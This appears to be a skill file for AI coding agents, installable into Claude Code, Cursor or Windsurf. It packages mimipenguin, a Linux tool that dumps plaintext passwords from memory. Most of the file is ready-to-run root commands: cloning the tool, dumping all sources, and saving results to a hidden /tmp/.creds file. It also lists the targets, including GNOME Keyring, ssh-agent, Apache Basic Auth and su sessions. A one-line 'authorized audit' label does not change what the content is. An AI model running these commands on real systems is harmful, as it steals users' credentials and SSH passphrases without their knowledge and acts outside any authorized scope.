offensive-tools/linux/mimipenguin/SKILL.md
Auth/lab ref: Linux secret-exposure audit; process/memory artifact review for authorized recovery and defensive validation.
npx skillsauth add aeondave/malskill mimipenguinInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Linux credential dumper — extract plaintext passwords from memory (Mimikatz-equivalent for Linux).
# Requires root
git clone https://github.com/huntergregal/mimipenguin
cd mimipenguin
# Python version
sudo python3 mimipenguin.py
# Shell version
sudo bash mimipenguin.sh
| Source | Notes |
|--------|-------|
| GNOME Keyring | /proc/<PID>/mem of gnome-keyring-daemon |
| VSFTPd | Active FTP session credentials |
| Apache Basic Auth | HTTP Basic Auth from apache2 process |
| SSH | SSH passphrase from ssh-agent |
| gdm3 | GNOME Display Manager login |
| su | Credentials from su process |
Quick dump all sources:
sudo python3 mimipenguin.py 2>/dev/null
Shell version (no python dependency):
sudo bash mimipenguin.sh
Redirect output:
sudo python3 mimipenguin.py | tee /tmp/.creds
Note: Effectiveness depends on what services are running and memory layout.
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| references/ | Process memory dump techniques on Linux |
development
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development
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development
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databases
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